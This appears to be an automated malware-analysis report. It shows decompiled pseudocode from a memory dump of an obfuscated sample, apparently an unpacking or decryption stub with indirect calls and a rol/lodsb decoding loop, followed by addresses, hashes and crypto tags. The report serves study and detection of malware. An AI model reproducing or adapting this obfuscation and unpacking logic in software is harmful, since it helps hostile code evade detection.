					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) | _t337 & 0x00000000 ^ _t253;
					_t337 =  *(_t366 - 0x24);
					 *((intOrPtr*)(_t366 - 0x18)) = 2;
					_t48 = _t261 + 0x41cc3e; // 0x41cc3e
					 *(_t366 - 0x24) =  *(_t366 - 0x24) & 0x00000000;
					 *_t371 =  *_t371 ^ _t48;
					_t52 = _t261 + 0x41cf5b; // 0x41cf5b
					 *_t371 =  *_t371 ^ _t358;
					 *_t371 = _t52;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24));
					 *(_t366 - 0x20) = _t334;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) & 0x00000000;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) | _t334 & 0x00000000 | _t205;
					_t305 =  *(_t366 - 0x20);
				}
				_t306 = _t305 ^ _t305;
				 *_t371 =  *_t371 - _t337;
				 *_t371 = _t306;
				_t60 = _t261 + 0x41c61d; // 0x41c61d
				 *_t371 =  *_t371 ^ _t358;
				 *_t371 = _t60;
				_t210 =  *((intOrPtr*)(_t261 + 0x41f060))(_t358, _t337, _t205);
				 *_t371 = _t210;
				_t63 = _t261 + 0x41cf67; // 0x41cf67
				 *(_t366 - 0x24) = 0;
				 *_t371 =  *_t371 ^ _t63;
				_t212 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x24),  *(_t366 - 0x1c));
				_pop( *_t67);
				_t278 = _t276 & 0x00000000 ^  *(_t366 - 0x24);
				 *(_t366 - 0x24) = _t337;
				_push(_t278 + _t212);
				_t340 =  *(_t366 - 0x24);
				_pop(_t213);
				_t280 = _t278 & 0x00000000 | _t366 & 0x00000000 ^  *(_t261 + 0x41c5dc);
				_t369 = _t366;
				if(_t280 > _t213) {
					_t72 = _t261 + 0x41c61d; // 0x41c61d
					 *(_t369 - 0x1c) = 0;
					 *_t371 =  *_t371 ^ _t72;
					_t75 = _t261 + 0x41cf67; // 0x41cf67
					 *(_t369 - 0x20) = 0;
					 *_t371 =  *_t371 | _t75;
					_t246 =  *((intOrPtr*)(_t261 + 0x41f064))( *(_t369 - 0x20),  *(_t369 - 0x1c));
					 *(_t369 - 0x1c) = _t280;
					 *((intOrPtr*)(_t261 + 0x41cf4f)) = _t246;
					_t280 =  *(_t369 - 0x1c);
				}
				_t372 =  &(_t371[1]);
				 *_t372 = _t280;
				_t283 = 0;
				 *_t372 = _t306 & 0x00000000 |  *_t371;
				_t84 = _t261 + 0x41cef6; // 0x41cef6
				 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
				 *_t372 =  *_t372 | _t84;
				_t88 = _t261 + 0x41ceb9; // 0x41ceb9
				 *_t372 =  *_t372 ^ _t369;
				 *_t372 =  *_t372 ^ _t88;
				_t217 =  *((intOrPtr*)(_t261 + 0x41f068))(_t369,  *(_t369 - 0x1c),  *(_t369 - 0x24));
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) & 0x00000000;
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) | _t283 ^  *_t372 | _t217;
				_t286 = _t283;
				_t373 = _t372 - 0xfffffffc;
				_t311 = _t217 %  *(_t369 - 0x18);
				 *_t373 =  *_t373 & 0x00000000;
				 *_t373 =  *_t373 | _t311;
				_t100 = _t261 + 0x41c52d; // 0x41c52d
				 *(_t369 - 0x24) = 0;
				 *_t373 =  *_t373 ^ _t100;
				_t220 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24), _t286);
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) & 0x00000000;
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) | _t311 & 0x00000000 | _t220;
				_t314 = _t311;
				_t316 = _t314 & 0x00000000 ^  *_t373;
				_t374 = _t373 - 0xfffffffc;
				 *((intOrPtr*)(_t369 - 4)) =  *((intOrPtr*)(_t369 - 4)) - _t316;
				 *(_t369 - 0x24) = 0;
				 *_t374 =  *_t374 | _t316;
				_t112 = _t261 + 0x41c7ee; // 0x41c7ee
				 *_t374 =  *_t374 ^ _t340;
				 *_t374 =  *_t374 ^ _t112;
				_t113 = _t261 + 0x41c513; // 0x41c513
				 *(_t369 - 0x20) = 0;
				 *_t374 =  *_t374 | _t113;
				_t223 =  *((intOrPtr*)(_t261 + 0x41f068))( *(_t369 - 0x20), _t340,  *(_t369 - 0x24), _t286);
				 *(_t369 - 0x20) = _t358;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) & 0x00000000;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) ^ _t358 & 0x00000000 ^ _t223;
				_t318 =  *_t374;
				_t375 =  &(_t374[1]);
				 *(_t369 - 0x1c) = _t223;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) & 0x00000000;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) | _t223 ^  *(_t369 - 0x1c) ^ _t318;
				_t130 = _t261 + 0x41ccc7; // 0x41ccc7
				 *(_t369 - 0x24) = 0;
				 *_t375 =  *_t375 | _t130;
				_t228 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24));
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) & 0x00000000;
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) | _t340 -  *_t375 | _t228;
				_t343 = _t340;
				_t363 =  *(_t369 - 0x20) & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t369 + 8);
				_t264 = _t261;
				_t139 = _t264 + 0x41c550; // 0x41c550
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t139;
				_t230 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20));
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t230;
				_t145 = _t264 + 0x41d34c; // 0x41d34c
				 *_t375 = _t145;
				_t232 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20),  *(_t369 - 0x20));
				_t376 = _t375 - 0xfffffffc;
				 *_t148 = _t232;
				 *(_t369 - 0x24) =  *(_t369 - 0x24) + (0 ^  *_t375);
				_push( *(_t369 - 0x24));
				_pop(_t233);
				_t320 = _t318;
				 *(_t369 - 0x1c) = _t320;
				_t323 =  *(_t369 - 0x1c);
				if( *((intOrPtr*)(_t264 + 0x41ccf8)) > _t233) {
					_t155 = _t264 + 0x41c550; // 0x41c550
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t155;
					_t159 = _t264 + 0x41d34c; // 0x41d34c
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t159;
					_t233 =  *((intOrPtr*)(_t264 + 0x41f064))( *(_t369 - 0x1c),  *(_t369 - 0x1c));
				}
				 *(_t369 - 0x24) = _t323;
				 *((intOrPtr*)(_t264 + 0x41ce46)) = _t233;
				_t326 =  *(_t369 - 0x24);
				 *(_t369 - 0x1c) = _t326;
				_t169 = _t264 + 0x41cb9d; // 0x41cb9d
				 *_t376 =  *_t376 - _t363;
				 *_t376 =  *_t376 | _t169;
				_t170 = _t264 + 0x41cd17; // 0x41cd17
				 *(_t369 - 0x20) =  *(_t369 - 0x20) & 0x00000000;
				 *_t376 =  *_t376 | _t170;
				_t236 =  *((intOrPtr*)(_t264 + 0x41f068))( *(_t369 - 0x20), _t363);
				 *_t376 = _t343 & 0x00000000 | _t326 & 0x00000000 ^ _t363;
				 *(_t264 + 0x41d015) = 0 ^ _t236;
				_t348 = 0;
				_t364 = _t363 - 1;
				 *(_t369 - 0x1c) = 0;
				_push( *(_t369 - 0x1c));
				 *_t376 =  *_t376 | _t264;
				do {
					 *_t178 = _t348;
					_t293 =  *(_t369 - 0x20);
					_t294 = _t293 &  *(_t369 - 8);
					if(_t294 == 0) {
						_t364 = _t364 + 1;
						_t236 = _t236 & 0x00000000 ^ (_t348 -  *_t376 |  *(_t369 - 0x18));
						_t348 = _t348;
						_t264 =  *(_t236 + _t364) & 0x000000ff;
					}
					 *_t184 =  *((intOrPtr*)(_t369 - 0xc));
					_t330 =  *(_t369 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t236 = _t236 | _t330 & _t264;
					 *_t348 = _t236;
					_t348 = _t348 + 1;
					_t186 = _t369 - 4;
					 *_t186 =  *((intOrPtr*)(_t369 - 4)) - 1;
				} while ( *_t186 != 0);
				_t266 =  *_t376;
				_t377 =  &(_t376[1]);
				_t188 = _t266 + 0x41cc0b; // 0x41cc0b
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 ^ _t188;
				_t189 = _t266 + 0x41cbd0; // 0x41cbd0
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 | _t189;
				_t240 =  *((intOrPtr*)(_t266 + 0x41f068))(_t369, _t294);
				 *(_t369 - 0x20) = _t294;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) & 0x00000000;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) ^ (_t294 ^  *(_t369 - 0x20) | _t240);
				 *(_t369 - 0x1c) = _t266;
				return memcpy(_t348, _t364 + 1,  *(_t369 - 0x14));
			}

0x031e43d8
0x031e43d8
0x031e43df
0x031e43e2
0x031e43e5
0x031e43eb
0x031e43f2
0x031e43f5
0x031e43fe
0x031e43ff
0x031e4402
0x031e4405
0x031e4411
0x031e4414
0x031e4417
0x031e441e
0x031e441f
0x031e4422
0x031e4423
0x031e4430
0x031e4432
0x031e4435
0x031e443e
0x031e4442
0x031e444c
0x031e4450
0x031e4453
0x031e4453
0x031e445b
0x031e4462
0x031e4468
0x031e446d
0x031e4473
0x031e447c
0x031e447f
0x031e4486
0x031e448a
0x031e4493
0x031e4494
0x031e4497
0x031e449a
0x031e44a0
0x031e44a7
0x031e44ad
0x031e44b4
0x031e44b7
0x031e44bd
0x031e44c5
0x031e44cc
0x031e44d2
0x031e44d5
0x031e44dc
0x031e44e2
0x031e44e9
0x031e44ec
0x031e44f2
0x031e44fa
0x031e4501
0x031e4507
0x031e450a
0x031e4511
0x031e4517
0x031e451e
0x031e4521
0x031e4528
0x031e452b
0x031e452e
0x031e4534
0x031e453c
0x031e4543
0x031e4549
0x031e4549
0x031e4551
0x031e4555
0x031e4558
0x031e455b
0x031e4562
0x031e4565
0x031e4568
0x031e4571
0x031e4574
0x031e457a
0x031e4584
0x031e4587
0x031e4593
0x031e4596
0x031e4599
0x031e45a0
0x031e45a1
0x031e45a4
0x031e45b2
0x031e45b4
0x031e45b7
0x031e45b9
0x031e45bf
0x031e45c9
0x031e45cc
0x031e45d2
0x031e45dc
0x031e45df
0x031e45e5
0x031e45ec
0x031e45f2
0x031e45f2
0x031e45fe
0x031e4603
0x031e460d
0x031e4611
0x031e4614
0x031e461a
0x031e4621
0x031e4624
0x031e462b
0x031e462e
0x031e4631
0x031e463d
0x031e4644
0x031e464a
0x031e4654
0x031e4657
0x031e465b
0x031e465f
0x031e4662
0x031e4668
0x031e4672
0x031e4675
0x031e4681
0x031e4688
0x031e468e
0x031e4695
0x031e4698
0x031e46a1
0x031e46a5
0x031e46af
0x031e46b2
0x031e46b9
0x031e46bc
0x031e46bf
0x031e46c5
0x031e46cf
0x031e46d2
0x031e46d8
0x031e46e0
0x031e46e7
0x031e46f2
0x031e46f5
0x031e46f8
0x031e4700
0x031e4704
0x031e470a
0x031e4710
0x031e471a
0x031e471d
0x031e4729
0x031e4730
0x031e4736
0x031e4741
0x031e4743
0x031e4744
0x031e474a
0x031e4754
0x031e4757
0x031e475d
0x031e4767
0x031e476a
0x031e4773
0x031e4776
0x031e4781
0x031e4788
0x031e478b
0x031e478e
0x031e4791
0x031e4792
0x031e4793
0x031e47a0
0x031e47a5
0x031e47a7
0x031e47ad
0x031e47b4
0x031e47b7
0x031e47bd
0x031e47c4
0x031e47c7
0x031e47c7
0x031e47cd
0x031e47d4
0x031e47da
0x031e47dd
0x031e47ed
0x031e47f4
0x031e47f7
0x031e47fa
0x031e4800
0x031e4807
0x031e480a
0x031e4812
0x031e4819
0x031e481f
0x031e4820
0x031e4821
0x031e4828
0x031e482b
0x031e482e
0x031e482f
0x031e4835
0x031e4836
0x031e4839
0x031e483b
0x031e4846
0x031e4848
0x031e4849
0x031e4849
0x031e4850
0x031e4856
0x031e4857
0x031e485b
0x031e485c
0x031e485e
0x031e4860
0x031e4861
0x031e4861
0x031e4861
0x031e4868
0x031e486b
0x031e486e
0x031e4875
0x031e4879
0x031e487c
0x031e4883
0x031e4887
0x031e488a
0x031e4890
0x031e4898
0x031e489f
0x031e48a8
0x031e48c1

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
Instruction ID: 9e620a43a00db554a5ebb9f243ac7e8f456c6bfab717788d6846df27bd2fb15c
Opcode Fuzzy Hash: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
Instruction Fuzzy Hash: 030234728046089FEF04DFA4C88A7EEBBF1FF48310F19856ED889AA145DB385515CF69

Uniqueness

Uniqueness Score: -1.00%

Function 031E5A25, Relevance: .3, Instructions: 281
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E031E5A25(signed int __ebx, void* __ecx, signed int __edx, intOrPtr* __edi, signed int __esi) {
				signed int _t406;
				signed int _t409;
				intOrPtr _t411;
				signed int _t413;
				void* _t415;
				signed int _t416;
				signed int _t419;
				signed int _t424;
				signed int _t430;
				void* _t431;
				signed int _t435;
				void* _t437;
				intOrPtr _t438;
				intOrPtr _t441;
				signed int _t443;
				void* _t444;
				signed int _t446;
				signed int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t459;
				signed int _t463;
				void* _t465;
				void* _t466;
				signed int _t469;
				signed int _t474;
				signed int _t479;
				void* _t480;
				signed int _t482;
				void* _t484;
				signed int _t485;
				intOrPtr _t490;
				signed int _t491;
				signed int _t493;
				void* _t495;
				signed int _t496;
				signed int _t500;
				void* _t502;
				signed int _t503;
				signed int _t506;
				signed int _t509;
				intOrPtr _t512;
				signed int _t520;
				signed int _t522;
				void* _t523;
				signed int _t532;
				signed int _t535;
				signed int _t538;
				signed int _t540;
				signed int _t543;
				void* _t545;
				void* _t547;
				signed int _t551;
				signed int _t553;
				void* _t554;
				signed int _t559;
				signed int _t561;
				void* _t564;
				signed int _t566;
				signed int _t568;
				signed int _t574;
				void* _t577;
				signed int _t580;
				signed int _t583;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t594;
				signed int _t597;
				signed int _t601;
				signed int _t604;
				signed int _t607;
				signed int _t610;
				signed int _t613;
				signed int _t616;
				signed int _t619;
				signed int _t622;
				void* _t625;
				signed int _t629;
				signed int _t631;
				signed int _t634;
				signed int _t637;
				signed int _t642;
				signed int _t645;
				signed int _t648;
				void* _t651;
				signed int _t653;
				void* _t654;
				signed int _t656;
				signed int _t664;
				signed int _t665;
				signed int _t668;
				void* _t669;
				signed int _t671;
				signed int _t672;
				signed int _t675;
				signed int _t678;
				signed int _t681;
				signed int _t692;
				signed int _t695;
				signed int _t696;
				signed int _t704;
				void* _t705;
				signed int _t707;
				signed int* _t717;
				signed int* _t718;
				signed int* _t719;
				signed int* _t720;
				signed int* _t721;
				signed int* _t722;
				signed int* _t723;
				signed int* _t724;

				_t640 = __edi;
				_t597 = __edx;
				_t532 = __ebx;
				_push(__edi);
				 *_t717 =  *_t717 & 0x00000000;
				 *_t717 =  *_t717 + __ebx + 0x41c13d;
				_t406 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t704 - 0x14) = __esi;
				 *(__ebx + 0x41c112) = 0 ^ _t406;
				_t664 =  *(_t704 - 0x14);
				while(1) {
					L15:
					_t721[1] =  *_t675;
					_t540 = _t538;
					 *_t721 =  *_t721 ^ _t675;
					 *_t721 =  *_t721 ^ _t540 + 0x0041d099;
					_t453 =  *((intOrPtr*)(_t540 + 0x41f060))(_t704);
					 *_t721 = _t574;
					 *(_t540 + 0x41c24c) = 0 ^ _t453;
					_t577 = 0;
					 *_t276 = _t675;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 + _t540 + 0x41cdd2;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 | _t540 + 0x0041c846;
					_t456 =  *((intOrPtr*)(_t540 + 0x41f068))(_t704, _t645);
					 *(_t704 - 0x10) = _t616;
					 *(_t540 + 0x41c9fe) = 0 ^ _t456;
					_t619 =  *(_t704 - 0x10);
					 *(_t704 - 0xc) =  *(_t704 - 0xc) & 0x0000ffff;
					 *_t721 =  *_t721 ^ _t619;
					 *_t721 =  *_t721 | _t540 + 0x0041c9e4;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 ^ _t540 + 0x0041c746;
					_t459 =  *((intOrPtr*)(_t540 + 0x41f068))(_t619, _t619);
					 *(_t704 - 0x14) = _t619;
					 *(_t540 + 0x41c559) =  *(_t540 + 0x41c559) & 0x00000000;
					 *(_t540 + 0x41c559) =  *(_t540 + 0x41c559) ^ (_t619 ^  *(_t704 - 0x14) | _t459);
					_t622 =  *(_t704 - 0x14);
					while(1) {
						 *(_t704 - 0x10) = _t540;
						_t543 =  *(_t704 - 0x10);
						_t299 = _t543 + 0x41cb0b; // 0x41cb0b
						 *(_t704 - 0x14) = 0;
						 *_t721 =  *_t721 | _t299;
						_t463 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14));
						 *_t721 = _t463;
						_t304 = _t543 + 0x41cda5; // 0x41cda5
						 *_t721 = _t304;
						_t465 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
						_t722 = _t721 - 0xfffffffc;
						 *_t722 =  *_t722 ^ _t704;
						_t705 = _t465;
						_t466 = _t705 +  *_t721;
						_t707 = 0;
						 *(_t707 - 0x14) = _t675;
						_t580 =  *(_t543 + 0x41c96a);
						_t678 =  *(_t707 - 0x14);
						if(_t580 > _t466) {
							_t310 = _t543 + 0x41cb0b; // 0x41cb0b
							 *_t722 =  *_t722 & 0x00000000;
							 *_t722 =  *_t722 | _t310;
							_t311 = _t543 + 0x41cda5; // 0x41cda5
							 *(_t707 - 0x14) =  *(_t707 - 0x14) & 0x00000000;
							 *_t722 =  *_t722 | _t311;
							_t466 =  *((intOrPtr*)(_t543 + 0x41f064))( *(_t707 - 0x14), _t707);
						}
						 *_t316 = _t466;
						 *_t318 =  *(_t707 - 0x10);
						_t722[1] =  *(_t707 - 0xc);
						_t545 = _t543;
						_t321 = _t545 + 0x41cee2; // 0x41cee2
						 *_t722 = _t321;
						_t323 = _t545 + 0x41d33a; // 0x41d33a
						 *(_t707 - 0x14) = 0;
						 *_t722 =  *_t722 | _t323;
						_t469 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x14),  *(_t707 - 0x10), _t580);
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) & 0x00000000;
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) | _t678 -  *_t722 | _t469;
						_t681 = _t678;
						 *(_t707 - 0x10) = _t645;
						_t648 =  *(_t707 - 0x10);
						 *_t722 =  *_t722 - _t622;
						 *_t722 =  *_t722 ^ (_t469 & 0x00000000 | _t645 ^  *(_t707 - 0x10) |  *(_t707 - 4));
						_t335 = _t545 + 0x41d2b3; // 0x41d2b3
						 *_t722 =  *_t722 - _t622;
						 *_t722 = _t335;
						_t336 = _t545 + 0x41cb87; // 0x41cb87
						 *(_t707 - 0x10) =  *(_t707 - 0x10) & 0x00000000;
						 *_t722 =  *_t722 + _t336;
						_t474 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x10), _t622, _t622);
						 *(_t707 - 0x10) = _t580;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) & 0x00000000;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) | _t580 ^  *(_t707 - 0x10) | _t474;
						_t583 =  *(_t707 - 0x10);
						_t723 =  &(_t722[1]);
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 ^  *_t722;
						_t350 = _t545 + 0x41c922; // 0x41c922
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 | _t350;
						_t353 = _t545 + 0x41c97d; // 0x41c97d
						 *_t723 =  *_t723 & 0x00000000;
						 *_t723 =  *_t723 + _t353;
						_t479 =  *((intOrPtr*)(_t545 + 0x41f068))(_t583,  *(_t707 - 0x10),  *(_t707 - 0x10));
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) & 0x00000000;
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) | _t707 & 0x00000000 | _t479;
						_t704 = _t707;
						_t480 =  *((intOrPtr*)(_t545 + 0x41f050))();
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 + _t480;
						_t362 = _t545 + 0x41c197; // 0x41c197
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t362;
						_t482 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t482;
						_t368 = _t545 + 0x41c46f; // 0x41c46f
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 ^ _t368;
						_t484 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						_pop( *_t372);
						_t585 = (_t583 & 0x00000000) +  *(_t704 - 0x10);
						 *_t374 = _t484;
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t585;
						_push( *(_t704 - 0x14));
						_pop(_t485);
						_t547 = _t545;
						 *(_t704 - 0x10) = _t648;
						_t574 = _t585 & 0x00000000 ^ _t648 -  *(_t704 - 0x10) ^  *(_t547 + 0x41c9d0);
						_t645 =  *(_t704 - 0x10);
						if(_t574 > _t485) {
							_t382 = _t547 + 0x41c197; // 0x41c197
							 *_t723 =  *_t723 & 0x00000000;
							 *_t723 =  *_t723 + _t382;
							_t383 = _t547 + 0x41c46f; // 0x41c46f
							 *(_t704 - 0x10) = 0;
							 *_t723 =  *_t723 ^ _t383;
							_t485 =  *((intOrPtr*)(_t547 + 0x41f064))( *(_t704 - 0x10), _t681);
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) & 0x00000000;
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) | _t704 ^  *_t723 ^ _t485;
							_t704 = _t704;
						}
						_t721 =  &(_t723[1]);
						 *_t721 =  *_t721 ^ _t704;
						 *_t721 = _t681;
						 *_t721 = _t485 & 0x00000000 |  *_t723;
						_t490 = 0;
						 *_t721 = _t622;
						 *((intOrPtr*)( *((intOrPtr*)(_t704 - 8)))) = _t490;
						_t625 = 0;
						 *_t392 = _t704;
						 *_t721 = 4;
						_t491 = _t547;
						 *_t394 = 0 ^  *(_t704 - 0x14);
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t491;
						_t675 =  *(_t704 - 0x14);
						_t616 = _t625;
						 *_t399 =  *((intOrPtr*)(_t704 - 8));
						 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t491;
						 *_t403 =  *(_t704 - 0x10);
						_t538 = _t547;
						if( *_t675 != 0) {
							goto L9;
						}
						L21:
						_t640 = _t645 + 0x14;
						_t664 = _t675;
						if( *_t640 != 0 ||  *(_t640 + 0x10) != 0) {
							if( *_t640 != 0) {
								 *_t23 =  *_t640;
								_t665 =  *(_t704 - 0x14);
								_t25 = _t532 + 0x41d32a; // 0x41d32a
								 *_t717 =  *_t717 & 0x00000000;
								 *_t717 =  *_t717 ^ _t25;
								_t26 = _t532 + 0x41cdb4; // 0x41cdb4
								 *_t717 =  *_t717 ^ _t704;
								 *_t717 = _t26;
								_t409 =  *((intOrPtr*)(_t532 + 0x41f068))(_t704, _t704);
								 *(_t532 + 0x41cada) =  *(_t532 + 0x41cada) & 0x00000000;
								 *(_t532 + 0x41cada) =  *(_t532 + 0x41cada) | _t597 & 0x00000000 ^ _t409;
								_t597 = _t597;
							} else {
								_t6 = _t538 + 0x41d076; // 0x41d076
								 *(_t704 - 0x10) = 0;
								 *_t721 =  *_t721 | _t6;
								_t520 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10));
								 *(_t704 - 0x14) = _t664;
								 *(_t538 + 0x41d0ee) = 0 ^ _t520;
								_push( *(_t640 + 0x10));
								_pop( *_t14);
								_push( *(_t704 - 0x10));
								_pop(_t665);
								_t16 = _t538 + 0x41c2b0; // 0x41c2b0
								 *_t721 = _t16;
								_t522 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10));
								 *(_t538 + 0x41c1b3) =  *(_t538 + 0x41c1b3) & 0x00000000;
								 *(_t538 + 0x41c1b3) =  *(_t538 + 0x41c1b3) | _t704 ^  *_t721 | _t522;
								_t704 = _t704;
							}
							_t601 =  *_t717;
							 *_t717 =  *(_t640 + 0x10);
							_t34 = _t532 + 0x41c661; // 0x41c661
							 *_t717 =  *_t717 ^ _t704;
							 *_t717 =  *_t717 + _t34;
							_t411 =  *((intOrPtr*)(_t532 + 0x41f060))(_t597);
							 *_t717 = _t665;
							 *((intOrPtr*)(_t532 + 0x41d31e)) = _t411;
							_t668 = 0;
							 *_t37 = _t704;
							_t38 = _t532 + 0x41c5b3; // 0x41c5b3
							 *_t717 = _t38;
							_t413 =  *((intOrPtr*)(_t532 + 0x41f060))( *(_t704 - 0x10));
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t717 =  *_t717 ^ _t413;
							_t44 = _t532 + 0x41c868; // 0x41c868
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 ^ _t44;
							_t415 =  *((intOrPtr*)(_t532 + 0x41f060))( *(_t704 - 0x14));
							 *_t46 = _t640;
							_t551 = 0 ^  *(_t704 - 0x10);
							 *_t48 = _t415;
							 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t551;
							_push( *(_t704 - 0x14));
							_pop(_t416);
							_t642 = _t640;
							 *(_t704 - 0x14) = _t416;
							_t553 = _t551 & 0x00000000 ^ _t416 & 0x00000000 ^  *(_t532 + 0x41c633);
							_t419 =  *(_t704 - 0x14);
							if(_t553 > _t419) {
								_t55 = _t532 + 0x41c5b3; // 0x41c5b3
								 *_t717 = _t55;
								_t57 = _t532 + 0x41c868; // 0x41c868
								 *(_t704 - 0x10) =  *(_t704 - 0x10) & 0x00000000;
								 *_t717 =  *_t717 | _t57;
								_t419 =  *((intOrPtr*)(_t532 + 0x41f064))( *(_t704 - 0x10),  *(_t704 - 0x14));
							}
							 *(_t704 - 0x10) = _t601;
							 *(_t532 + 0x41c2a0) =  *(_t532 + 0x41c2a0) & 0x00000000;
							 *(_t532 + 0x41c2a0) =  *(_t532 + 0x41c2a0) | _t601 & 0x00000000 ^ _t419;
							_t604 =  *(_t704 - 0x10);
							 *(_t704 - 0x10) = _t532;
							_t535 =  *(_t704 - 0x10);
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 | _t419 & 0x00000000 | _t532 & 0x00000000 ^  *(_t704 + 8);
							_t71 = _t535 + 0x41c812; // 0x41c812
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 + _t71;
							_t72 = _t535 + 0x41ca65; // 0x41ca65
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 | _t72;
							_t424 =  *((intOrPtr*)(_t535 + 0x41f068))(_t553, _t668);
							 *(_t704 - 0x14) = _t642;
							 *(_t535 + 0x41d25f) =  *(_t535 + 0x41d25f) & 0x00000000;
							 *(_t535 + 0x41d25f) =  *(_t535 + 0x41d25f) ^ (_t642 -  *(_t704 - 0x14) | _t424);
							_t645 =  *(_t704 - 0x14);
							 *_t81 = _t553;
							 *_t717 =  *_t717 ^ _t668;
							_push( *((intOrPtr*)(_t704 - 8)));
							_pop(_t669);
							 *((intOrPtr*)(_t704 - 8)) = _t669 +  *(_t704 - 0x10);
							_t671 = 0;
							_t85 = _t535 + 0x41d15d; // 0x41d15d
							 *_t717 =  *_t717 - _t553;
							 *_t717 = _t85;
							_t86 = _t535 + 0x41c260; // 0x41c260
							 *(_t704 - 0x10) = 0;
							 *_t717 =  *_t717 | _t86;
							_push( *((intOrPtr*)(_t535 + 0x41f068))( *(_t704 - 0x10), _t553));
							_pop( *_t90);
							_push( *(_t704 - 0x10));
							_pop( *_t92);
							_push( *((intOrPtr*)(_t645 + 0xc)));
							_pop( *_t94);
							_push( *(_t704 - 0x14));
							_pop(_t554);
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 + _t554;
							_t96 = _t535 + 0x41ca52; // 0x41ca52
							 *_t717 =  *_t717 - _t535;
							 *_t717 =  *_t717 + _t96;
							_t430 =  *((intOrPtr*)(_t535 + 0x41f060))(_t535, _t535);
							 *(_t704 - 0x14) = _t604;
							 *(_t535 + 0x41cd09) =  *(_t535 + 0x41cd09) & 0x00000000;
							 *(_t535 + 0x41cd09) =  *(_t535 + 0x41cd09) | _t604 -  *(_t704 - 0x14) ^ _t430;
							_t607 =  *(_t704 - 0x14);
							_t718 = _t717 - 0xfffffffc;
							_push(0);
							 *_t718 =  *_t718 | _t430;
							_push( *_t717);
							_pop(_t431);
